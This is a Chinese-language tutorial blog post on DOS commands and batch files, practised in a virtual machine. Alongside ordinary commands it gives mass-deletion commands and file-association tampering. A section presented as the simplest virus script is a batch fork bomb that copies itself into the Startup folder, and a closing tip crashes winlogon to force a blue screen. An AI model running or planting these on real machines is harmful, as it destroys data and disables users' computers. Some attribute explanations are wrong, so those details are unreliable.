DOS基本命令与批处理

在虚拟机中使用 cmd 进行练习

基本命令

color ?   //询问颜色

color 2   //改变背景及字体颜色 (2代表将字体设置为绿色,如上图所示)

cls 清屏

dir 浏览当前文件夹的内容(带 <DIR> 标识的为文件夹,否则为文件)
dir /a 浏览所有内容,包括隐藏内容
dir 指定目录 浏览当前文件夹的指定目录的内容

cd 下一级目录 进入下一级目录

cd ../ 返回上级目录

cd \ 直接退到根目录

md 创建子目录,如 md study2

rd 删除空目录,如 rd study2

文件操作相关命令

ren a.txt b.txt 改变文件(夹)名称,改文件名称需要加后缀

rd 文件夹 /s /q 无提示删除文件夹(可以非空),如 rd study /s /q
rd . /s/q 删除当前目录下的所有文件(包括目录)
其中 . 代表返回上一层目录,/s/q表示无提示删除所有文件
/s 是将目标目录下的所有文件及子目录文件删除,而 /q 是无须确认删除

del aa.txt 删除指定文件
del *.txt 删除所有 .txt 结尾的文件
del *.* 删除所有文件
del *.* /s /q 无提示删除所有文件

注意:*为通配符,代表任意字符,任意长度

fsutil file createnew d:\aa.txt 4096

解释一下
fsutil:生成文件
createnew:生成新的文件
d:\aa.txt: 生成路径以及文件名
4096:生成4096字节大小的文件(用空格填充的)

assoc .txt=exefile 将所有 txt 文件改变为 exe 文件
assoc .txt=txtfile 将所有 txt 文件改变为 txt 文件

attrib +h 文件夹名 隐藏该文件夹,即对文件夹加属性,+后面的字母是属性。
attrib -h 文件夹名 显示该文件夹

type aa.txt | more 查看 aa.txt 的内容, | more 是分页显示(用于内容太多时)

dir c:/WINDOWS

echo helloword >bb.txt 将 helloword 写到文件 bb.txt 中(若无,则自动创建)
copy con a1.txt 也是创建文件,上面的 echo 只能往文件里写一句,这个可以一次写很多,写完了 按 CTRL+Z 回车结束

>> 和 > 都可以将命令的输出内容输入到某文件中,若文件不存在,则同时创建该文件,>>为追加, >为覆盖

attrib命令用于修改文件属性

attrib +h 文件全名/文件夹名 隐藏文件或文件夹

attrib +s +h 文件全名/文件夹名 提升为被系统保护的文件,+ 改为 -为取消修改文件属性

attrib +h +s +a 文件夹名 将文件夹隐藏为受保护的系统级文件夹并为只读属性;
+s:将文件夹提升为受保护的系统级文件夹;
+a:只读属性;

copy 1.txt ..\dir2\1-cpoy.txt 将当前目录下的 1.txt 复制为上级目录下的 dir2 目录下的 1-copy.txt 文件
.\ 是当前目录
move 1.txt ..\dir2\ 将 1.txt 移动到上级目录下的 dir2 目录下

系统操作命令

shutdown -s -t 60 定时关机:60s 后关机
shutdown -r -t 60 定时重启:60s 后重启

shutdown -r -t 60 -c "hello" 定时重启:60s 后重启,并且屏幕上打印出hello
shutdown -a 取消一切定时
shutdown -s -f -t 60  有时候这几个命令不好使,可以使用 -f 强制执行
shutdown -l 注销

批处理

批处理作用 自上而下成批的处理每一条命令,直到执行最后一条!

如何创建批处理扩展名: .bat

创建方法:新建一个记事本文件,然后将扩展名改为.bat

修改扩展名时,需要将文件的扩展名显示出来后再进行修改!

用例子来学习

 @echo off
title lipeng suai
echo ==========================
echo.
echo hahahahaha
echo ==========================
pause

pause 作用:暂停批处理运行

@echo off 关闭回显功能,也就是屏蔽过程,只显示结果,建议放置在批处理的首行

title lipeng suai 定义批处理的标题为 mybatch,也就是上图中蓝色栏里的文字

echo. 输出空行,和 println 一样

的使用
可以将代码划分区块,执行完 1 区的代码,可以通过 goto 直接跳转到 3区的代码

:1
..逻辑代码..
goto 3
:2
..逻辑代码..
:3
..逻辑代码..

冒号后面写什么都行,就是给区块起个名字,换成英文字母也行

写个最简单的病毒脚本
start 程序/网页 打开一个程序或者网页,如果不写,就默认打开一个 cmd

新建一个 a.bat

:d
start
goto d

运行该脚本会无限打开 cmd 窗口,导致电脑卡死 

在 a.bat 的第一行加上这一句

copy a.bat "%userprofile%\「开始」菜单\程序\启动"

userprofile是一个变量,他的值为windows当前用户路径

意思是将 a.bat 复制到计算机的开机启动项中,这样第一次执行脚本之后,该脚本就会成为开机启动项,然后计算机就会卡死,重启之后就会自动执行该脚本,继续卡死,可以通过恢复快照的方式恢复正常。

下面是一个小程序脚本

@echo off
title 史密斯小程序
:menu
cls
echo ====================
echo 菜单
echo 1.定时关机
echo 2.查看本机IP
echo 3.退出
echo ====================
set /p num=请输入选项:
if “%num%”==“1” goto a
if “%num%”==“2” goto b

if “%num%”==“3” goto c

echo 请正确输入数值(1、2、3),按任意键继续!
pause
goto menu
:a
set /p time=请输入时间:
shutdown -s -f -t %time%
echo 定时关机已设置完毕,按任意键返还菜单!
pause
goto menu
:b
ipconfig
echo 按任意键返还菜单!
pause
goto menu
:c
exit

 

命令:set
作用:设置变量,常用于在脚本中的互动赋值。
互动赋值:set /p time=请输入时间:
引用变量:%time%

补充:
ntsd -c q -pn winlogon.exe 强制杀死指定进程 winlogon.exe
此命令针对 Windows2003 和 xp ,会导致蓝屏

taskkill /im explorer.exe /f 强制杀死桌面

 

 

  • 9
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值